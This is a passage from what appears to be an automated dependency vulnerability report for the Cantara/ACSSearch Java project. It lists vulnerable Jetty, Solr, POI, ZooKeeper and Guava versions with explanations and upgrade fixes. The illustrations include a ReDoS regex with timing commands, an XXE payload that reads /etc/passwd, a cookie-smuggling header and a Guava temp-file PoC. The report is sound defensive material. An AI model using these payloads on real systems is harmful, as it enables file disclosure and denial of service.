  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade org.apache.tika:tika-parsers to version 1.24.1 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: org.eclipse.jetty:jetty-server
  • Introduced through: org.eclipse.jetty:jetty-server@8.1.15.v20140411 and org.eclipse.jetty:jetty-servlet@8.1.15.v20140411

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.eclipse.jetty:jetty-server@8.1.15.v20140411
    Remediation: Upgrade to org.eclipse.jetty:jetty-server@9.4.51.v20230217.
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.eclipse.jetty:jetty-servlet@8.1.15.v20140411 org.eclipse.jetty:jetty-security@8.1.10.v20130312 org.eclipse.jetty:jetty-server@8.1.15.v20140411
    Remediation: Upgrade to org.eclipse.jetty:jetty-servlet@9.4.51.v20230217.

Overview

org.eclipse.jetty:jetty-server is a lightweight highly scalable java based web server and servlet engine.

Affected versions of this package are vulnerable to Denial of Service (DoS) such that servlets with multipart support (e.g. annotated with @MultipartConfig) that call HttpServletRequest.getParameter() or HttpServletRequest.getParts() may cause OutOfMemoryError when the client sends a multipart request with a part that has a name but no filename and very large content.

Note: This happens even with the default settings of fileSizeThreshold=0, which should stream the whole part content to disk. An attacker client may send a large multipart request and cause the server to throw OutOfMemoryError. However, the server may be able to recover after the OutOfMemoryError and continue its service -- although it may take some time.

Workaround

Users unable to upgrade can set the multipart parameter maxRequestSize, which must be set to a non-negative value.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.eclipse.jetty:jetty-server to version 9.4.51, 10.0.14, 11.0.14, 12.0.0.beta0 or higher.

References

medium severity

Information Exposure

  • Vulnerable module: org.eclipse.jetty:jetty-server
  • Introduced through: org.eclipse.jetty:jetty-server@8.1.15.v20140411 and org.eclipse.jetty:jetty-servlet@8.1.15.v20140411

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.eclipse.jetty:jetty-server@8.1.15.v20140411
    Remediation: Upgrade to org.eclipse.jetty:jetty-server@9.2.28.v20190418.
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.eclipse.jetty:jetty-servlet@8.1.15.v20140411 org.eclipse.jetty:jetty-security@8.1.10.v20130312 org.eclipse.jetty:jetty-server@8.1.15.v20140411
    Remediation: Upgrade to org.eclipse.jetty:jetty-servlet@9.2.28.v20190418.

Overview

org.eclipse.jetty:jetty-server is a lightweight highly scalable java based web server and servlet engine.

Affected versions of this package are vulnerable to Information Exposure. The configuration of a Jetty server may be leaked as part of a HTTP 404 response. This is due to the DefaultHandler class producing an error page during an exception.

Remediation

Upgrade org.eclipse.jetty:jetty-server to version 9.2.28.v20190418, 9.3.27.v20190418, 9.4.17.v20190418 or higher.

References

medium severity

XML External Entity (XXE) Injection

  • Vulnerable module: org.apache.poi:poi-ooxml
  • Introduced through: org.apache.solr:solr-cell@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 org.apache.poi:poi-ooxml@3.10-beta2
    Remediation: Upgrade to org.apache.solr:solr-cell@8.5.0.

Overview

org.apache.poi:poi-ooxml is a Java API To Access Microsoft Format Files.

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection. When using the tool XSSFExportToXml to convert user-provided Microsoft Excel documents, a specially crafted document can allow an attacker to read files from the local filesystem or from internal network resources via XML External Entity (XXE) Processing.

Details

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.

For example, below is a sample XML document, containing an XML element- username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
   <username>John</username>
</xml>

An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
   <username>&xxe;</username>
</xml>

Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.

Remediation

Upgrade org.apache.poi:poi-ooxml to version 4.1.0 or higher.

References

medium severity

Time of Check Time of Use (TOCTOU)

  • Vulnerable module: commons-fileupload:commons-fileupload
  • Introduced through: org.apache.solr:solr-core@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-core@4.8.0 commons-fileupload:commons-fileupload@1.2.1
    Remediation: Upgrade to org.apache.solr:solr-core@5.5.2.

Overview

commons-fileupload:commons-fileupload is a component that provides a simple yet flexible means of adding support for multipart file upload functionality to servlets and web applications.

Affected versions of this package are vulnerable to Time of Check Time of Use (TOCTOU) if the attacker has write access to the /tmp directory.

Details

Commons FileUpload provides file upload capability for Servlets and web applications. During the upload process, FileUpload may (depending on configuration) save the uploaded file temporarily on disk. By default this will be in the system wide tmp directory. Because the temporary files have predictable file names and are stored in a publicly writeable location they are vulnerable to a TOCTOU attack.

A successful attack requires that the attacker has write access to the tmp directory. The attack can be prevented by setting the repository to a non-publicly writeable location. The documentation for FileUpload does not highlight the potential security implications of not setting a repository, nor do the provided examples set a repository. This may have caused users to use FileUpload in an insecure manner.

Remediation

Upgrade commons-fileupload:commons-fileupload to version 1.3 or higher.

References

medium severity

Man-in-the-Middle (MitM)

  • Vulnerable module: commons-httpclient:commons-httpclient
  • Introduced through: commons-httpclient:commons-httpclient@3.1

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 commons-httpclient:commons-httpclient@3.1

Overview

commons-httpclient:commons-httpclient is a HttpClient component of the Apache HttpComponents project.

Affected versions of this package are vulnerable to Man-in-the-Middle (MitM) due to not verifing the requesting server's hostname agains existing domain names in the SSL Certificate. The AbstractVerifier does not properly verify that the server hostname matches a domain name in the subject's Common Name (CN) or subjectAltName field of the X.509 certificate, which allows man-in-the-middle attackers to spoof SSL servers via a certificate with a subject that specifies a common name in a field that is not the CN field.

NOTE: this issue exists because of an incomplete fix for CVE-2012-5783.

Remediation

There is no fixed version for commons-httpclient:commons-httpclient.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: org.apache.httpcomponents:httpclient
  • Introduced through: org.apache.solr:solr-solrj@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-solrj@4.8.0 org.apache.httpcomponents:httpclient@4.3.1
    Remediation: Upgrade to org.apache.solr:solr-solrj@5.2.0.

Overview

org.apache.httpcomponents:httpclient is a HttpClient component of the Apache HttpComponents project.

Affected versions of this package are vulnerable to Denial of Service (DoS) via the http/conn/ssl/SSLConnectionSocketFactory.java class. It ignores the http.socket.timeout configuration setting during an SSL handshake, which allows remote attackers to cause a denial of service (HTTPS call hang) via unspecified vectors.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.apache.httpcomponents:httpclient to version 4.3.6 or higher.

References

medium severity

XML External Entity (XXE) Injection

  • Vulnerable module: org.apache.poi:poi-ooxml
  • Introduced through: org.apache.solr:solr-cell@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 org.apache.poi:poi-ooxml@3.10-beta2
    Remediation: Upgrade to org.apache.solr:solr-cell@4.9.1.

Overview

org.apache.poi:poi-ooxml is a Java API To Access Microsoft Format Files.

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection. The OPC SAX setup in Apache POI allows remote attackers to read arbitrary files via an OpenXML file containing an XML external entity declaration in conjunction with an entity reference, related to an XML External Entity (XXE) issue.

Details

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.

For example, below is a sample XML document, containing an XML element- username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
   <username>John</username>
</xml>

An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
   <username>&xxe;</username>
</xml>

Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.

Remediation

Upgrade org.apache.poi:poi-ooxml to version 3.10.1, 3.11-beta2 or higher.

References

medium severity

XML External Entity (XXE) Injection

  • Vulnerable module: org.apache.poi:poi-ooxml
  • Introduced through: org.apache.solr:solr-cell@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 org.apache.poi:poi-ooxml@3.10-beta2
    Remediation: Upgrade to org.apache.solr:solr-cell@5.0.0.

Overview

org.apache.poi:poi-ooxml is a Java API To Access Microsoft Format Files.

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection. Apache POI before 3.10.1 and 3.11.x before 3.11-beta2 allows remote attackers to cause a denial of service (CPU consumption and crash) via a crafted OOXML file, aka an XML Entity Expansion (XXE) attack.

Details

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.

For example, below is a sample XML document, containing an XML element- username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
   <username>John</username>
</xml>

An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
   <username>&xxe;</username>
</xml>

Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.

Remediation

Upgrade org.apache.poi:poi-ooxml to version 3.11-beta2 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: org.apache.solr:solr
  • Introduced through: org.apache.solr:solr@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr@4.8.0
    Remediation: Upgrade to org.apache.solr:solr@4.10.3.

Overview

org.apache.solr:solr Cross-site Scripting (XSS) vulnerability in the Admin UI Plugin / Stats page in Apache Solr 4.x before 4.10.3 allows remote attackers to inject arbitrary web script or HTML via the fieldvaluecache object.

Details

<>

References

medium severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: org.apache.solr:solr-core
  • Introduced through: org.apache.solr:solr-core@4.8.0, org.apache.solr:solr@4.8.0 and others

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-core@4.8.0
    Remediation: Upgrade to org.apache.solr:solr-core@7.6.0.
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr@4.8.0 org.apache.solr:solr-core@4.8.0
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-analysis-extras@4.8.0 org.apache.solr:solr-core@4.8.0
    Remediation: Upgrade to org.apache.solr:solr-analysis-extras@7.6.0.
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 org.apache.solr:solr-core@4.8.0
    Remediation: Upgrade to org.apache.solr:solr-cell@7.6.0.

Overview

org.apache.solr:solr-core is an open source enterprise search platform built on Apache Lucene

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF). The shards parameter does not have a corresponding whitelist mechanism, a remote attacker with access to the server could make Solr perform an HTTP GET request to any reachable URL.

Remediation

Upgrade org.apache.solr:solr-core to version 7.6.0 or higher.

References

medium severity

Access Control Bypass

  • Vulnerable module: org.apache.zookeeper:zookeeper
  • Introduced through: org.apache.solr:solr-solrj@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-solrj@4.8.0 org.apache.zookeeper:zookeeper@3.4.6
    Remediation: Upgrade to org.apache.solr:solr-solrj@7.7.2.

Overview

org.apache.zookeeper:zookeeper is a centralized service for maintaining configuration information, naming, providing distributed synchronization, and providing group services.

Affected versions of this package are vulnerable to Access Control Bypass. ZooKeeper’s getACL() method doesn’t check any permission when retrieving the ACLs of the requested node and returns all information contained in the ACL Id field as plain text string. If Digest Authentication is in use, the unsalted hash value will be disclosed by the getACL() method for unauthenticated or unprivileged users.

Remediation

Upgrade org.apache.zookeeper:zookeeper to version 3.4.14, 3.5.5 or higher.

References

medium severity

Insufficiently Protected Credentials

  • Vulnerable module: org.apache.zookeeper:zookeeper
  • Introduced through: org.apache.solr:solr-solrj@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-solrj@4.8.0 org.apache.zookeeper:zookeeper@3.4.6
    Remediation: Upgrade to org.apache.solr:solr-solrj@6.6.0.

Overview

org.apache.zookeeper:zookeeper is a centralized service for maintaining configuration information, naming, providing distributed synchronization, and providing group services.

Affected versions of this package are vulnerable to Insufficiently Protected Credentials. The logs cleartext admin passwords, which allows local users to obtain sensitive information by reading the log.

Remediation

Upgrade org.apache.zookeeper:zookeeper to version 3.4.7, 3.5.1-alpha or higher.

References

medium severity

MPL-2.0 license

  • Module: com.googlecode.juniversalchardet:juniversalchardet
  • Introduced through: org.apache.solr:solr-cell@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 com.googlecode.juniversalchardet:juniversalchardet@1.0.3

MPL-2.0 license

low severity

Information Exposure

  • Vulnerable module: commons-codec:commons-codec
  • Introduced through: commons-httpclient:commons-httpclient@3.1

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 commons-httpclient:commons-httpclient@3.1 commons-codec:commons-codec@1.2

Overview

commons-codec:commons-codec is a package that contains simple encoder and decoders for various formats such as Base64 and Hexadecimal.

Affected versions of this package are vulnerable to Information Exposure. When there is no byte array value that can be encoded into a string the Base32 implementation does not reject it, and instead decodes it into an arbitrary value which can be re-encoded again using the same implementation. This allows for information exposure exploits such as tunneling additional information via seemingly valid base 32 strings.

Remediation

Upgrade commons-codec:commons-codec to version 1.14 or higher.

References

low severity

Man-in-the-Middle (MitM)

  • Vulnerable module: log4j:log4j
  • Introduced through: log4j:log4j@1.2.17, org.apache.solr:solr-solrj@4.8.0 and others

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 log4j:log4j@1.2.17
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-solrj@4.8.0 log4j:log4j@1.2.17
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.slf4j:slf4j-log4j12@1.7.7 log4j:log4j@1.2.17

Overview

log4j:log4j is a 1.x branch of the Apache Log4j project. Note: Log4j 1.x reached End of Life in 2015, and is no longer supported.

Affected versions of this package are vulnerable to Man-in-the-Middle (MitM). Improper validation of certificate with host mismatch in Apache Log4j SMTP appender. This could allow an SMTPS connection to be intercepted by a man-in-the-middle attack which could leak any log messages sent through that appender.

Remediation

There is no fixed version for log4j:log4j.

References

low severity

Information Exposure

  • Vulnerable module: org.apache.solr:solr-core
  • Introduced through: org.apache.solr:solr-core@4.8.0, org.apache.solr:solr@4.8.0 and others

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-core@4.8.0
    Remediation: Upgrade to org.apache.solr:solr-core@8.8.2.
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr@4.8.0 org.apache.solr:solr-core@4.8.0
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-analysis-extras@4.8.0 org.apache.solr:solr-core@4.8.0
    Remediation: Upgrade to org.apache.solr:solr-analysis-extras@8.8.2.
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 org.apache.solr:solr-core@4.8.0
    Remediation: Upgrade to org.apache.solr:solr-cell@8.8.2.

Overview

org.apache.solr:solr-core is an open source enterprise search platform built on Apache Lucene

Affected versions of this package are vulnerable to Information Exposure. When starting Solr, configured with the SaslZkACLProvider or VMParamsAllAndReadonlyDigestZkACLProvider and no existing security.json znode, if the optional read-only user is configured then Solr would not treat that node as a sensitive path and would allow it to be readable. Additionally, with any ZkACLProvider, if the security.json is already present, Solr will not automatically update the ACLs.

Remediation

Upgrade org.apache.solr:solr-core to version 8.8.2 or higher.

References

low severity

Creation of Temporary File in Directory with Insecure Permissions

  • Vulnerable module: com.google.guava:guava
  • Introduced through: org.apache.solr:solr-core@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-core@4.8.0 com.google.guava:guava@14.0.1
    Remediation: Upgrade to org.apache.solr:solr-core@8.11.3.

Overview

com.google.guava:guava is a set of core libraries that includes new collection types (such as multimap and multiset,immutable collections, a graph library, functional types, an in-memory cache and more.

Affected versions of this package are vulnerable to Creation of Temporary File in Directory with Insecure Permissions due to the use of Java's default temporary directory for file creation in FileBackedOutputStream. Other users and apps on the machine with access to the default Java temporary directory can access the files created by this class. This more fully addresses the underlying issue described in CVE-2020-8908, by deprecating the permissive temp file creation behavior.

NOTE: Even though the security vulnerability is fixed in version 32.0.0, the maintainers recommend using version 32.0.1, as version 32.0.0 breaks some functionality under Windows.

Remediation

Upgrade com.google.guava:guava to version 32.0.0-android, 32.0.0-jre or higher.

References

low severity

Information Disclosure

  • Vulnerable module: com.google.guava:guava
  • Introduced through: org.apache.solr:solr-core@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-core@4.8.0 com.google.guava:guava@14.0.1
    Remediation: Upgrade to org.apache.solr:solr-core@8.11.3.

Overview

com.google.guava:guava is a set of core libraries that includes new collection types (such as multimap and multiset,immutable collections, a graph library, functional types, an in-memory cache and more.

Affected versions of this package are vulnerable to Information Disclosure. The file permissions on the file created by com.google.common.io.Files.createTempDir allow an attacker running a malicious program co-resident on the same machine to steal secrets stored in this directory. This is because, by default, on unix-like operating systems the /tmp directory is shared between all users, so if the correct file permissions aren't set by the directory/file creator, the file becomes readable by all other users on that system.

PoC

File guavaTempDir = com.google.common.io.Files.createTempDir();
System.out.println("Guava Temp Dir: " + guavaTempDir.getName());
runLS(guavaTempDir.getParentFile(), guavaTempDir); // Prints the file permissions -> drwxr-xr-x
File child = new File(guavaTempDir, "guava-child.txt");
child.createNewFile();
runLS(guavaTempDir, child); // Prints the file permissions -> -rw-r--r--

For Android developers, choosing a temporary directory API provided by Android is recommended, such as context.getCacheDir(). For other Java developers, we recommend migrating to the Java 7 API java.nio.file.Files.createTempDirectory() which explicitly configures permissions of 700, or configuring the Java runtime's java.io.tmpdir system property to point to a location whose permissions are appropriately configured.

Remediation

There is no fix for com.google.guava:guava. However, in version 30.0 and above, the vulnerable functionality has been deprecated. In oder to mitigate this vulnerability, upgrade to version 30.0 or higher and ensure your dependencies don't use the createTempDir or createTempFile methods.

References

low severity

Information Exposure

  • Vulnerable module: org.eclipse.jetty:jetty-server
  • Introduced through: org.eclipse.jetty:jetty-server@8.1.15.v20140411 and org.eclipse.jetty:jetty-servlet@8.1.15.v20140411

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.eclipse.jetty:jetty-server@8.1.15.v20140411
    Remediation: Upgrade to org.eclipse.jetty:jetty-server@9.4.41.v20210516.
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.eclipse.jetty:jetty-servlet@8.1.15.v20140411 org.eclipse.jetty:jetty-security@8.1.10.v20130312 org.eclipse.jetty:jetty-server@8.1.15.v20140411
    Remediation: Upgrade to org.eclipse.jetty:jetty-servlet@9.4.41.v20210516.

Overview

org.eclipse.jetty:jetty-server is a lightweight highly scalable java based web server and servlet engine.

Affected versions of this package are vulnerable to Information Exposure. If an exception is thrown by the SessionListener#sessionDestroyed() method, the session ID will not be validated in the manager, which may allow the application to be left logged in on a shared computer.

Remediation

Upgrade org.eclipse.jetty:jetty-server to version 11.0.3, 10.0.3, 9.4.41 or higher.

References

low severity

Improper Input Validation

  • Vulnerable module: org.eclipse.jetty:jetty-http
  • Introduced through: org.apache.solr:solr-core@4.8.0, org.eclipse.jetty:jetty-server@8.1.15.v20140411 and others

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-core@4.8.0 org.eclipse.jetty:jetty-http@8.1.10.v20130312
    Remediation: Upgrade to org.apache.solr:solr-core@8.11.3.
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.eclipse.jetty:jetty-server@8.1.15.v20140411 org.eclipse.jetty:jetty-http@8.1.10.v20130312
    Remediation: Upgrade to org.eclipse.jetty:jetty-server@9.4.47.v20220610.
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.eclipse.jetty:jetty-servlet@8.1.15.v20140411 org.eclipse.jetty:jetty-security@8.1.10.v20130312 org.eclipse.jetty:jetty-server@8.1.15.v20140411 org.eclipse.jetty:jetty-http@8.1.10.v20130312
    Remediation: Upgrade to org.eclipse.jetty:jetty-servlet@9.4.47.v20220610.

Overview

org.eclipse.jetty:jetty-http is an is a http module for jetty server.

Affected versions of this package are vulnerable to Improper Input Validation due to improper URI paring in the HttpURI class.

Remediation

Upgrade org.eclipse.jetty:jetty-http to version 9.4.47, 10.0.10, 11.0.10 or higher.

References

low severity

Information Exposure

  • Vulnerable module: org.eclipse.jetty:jetty-http
  • Introduced through: org.apache.solr:solr-core@4.8.0, org.eclipse.jetty:jetty-server@8.1.15.v20140411 and others

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-core@4.8.0 org.eclipse.jetty:jetty-http@8.1.10.v20130312
    Remediation: Upgrade to org.apache.solr:solr-core@8.11.3.
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.eclipse.jetty:jetty-server@8.1.15.v20140411 org.eclipse.jetty:jetty-http@8.1.10.v20130312
    Remediation: Upgrade to org.eclipse.jetty:jetty-server@9.4.51.v20230217.
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.eclipse.jetty:jetty-servlet@8.1.15.v20140411 org.eclipse.jetty:jetty-security@8.1.10.v20130312 org.eclipse.jetty:jetty-server@8.1.15.v20140411 org.eclipse.jetty:jetty-http@8.1.10.v20130312
    Remediation: Upgrade to org.eclipse.jetty:jetty-servlet@9.4.51.v20230217.

Overview

org.eclipse.jetty:jetty-http is an is a http module for jetty server.

Affected versions of this package are vulnerable to Information Exposure such that nonstandard cookie parsing may allow an attacker to smuggle cookies within other cookies, or otherwise perform unintended behavior by tampering with the cookie parsing mechanism. If Jetty sees a cookie VALUE that starts with " (double quote), it will continue to read the cookie string until it sees a closing quote -- even if a semicolon is encountered. Exploiting this vulnerability results in cookies exfiltration and policy based on cookies bypass.

Note: A cookie header such as: DISPLAY_LANGUAGE="b; JSESSIONID=1337; c=d" will be parsed as one cookie, with the name DISPLAY_LANGUAGE and a value of b; JSESSIONID=1337; c=d instead of 3 separate cookies.

Remediation

Upgrade org.eclipse.jetty:jetty-http to version 9.4.51, 10.0.14, 11.0.14, 12.0.0.beta0 or higher.

References

low severity

Information Exposure

  • Vulnerable module: org.eclipse.jetty:jetty-server
  • Introduced through: org.eclipse.jetty:jetty-server@8.1.15.v20140411 and org.eclipse.jetty:jetty-servlet@8.1.15.v20140411

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.eclipse.jetty:jetty-server@8.1.15.v20140411
    Remediation: Upgrade to org.eclipse.jetty:jetty-server@9.4.51.v20230217.
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.eclipse.jetty:jetty-servlet@8.1.15.v20140411 org.eclipse.jetty:jetty-security@8.1.10.v20130312 org.eclipse.jetty:jetty-server@8.1.15.v20140411
    Remediation: Upgrade to org.eclipse.jetty:jetty-servlet@9.4.51.v20230217.

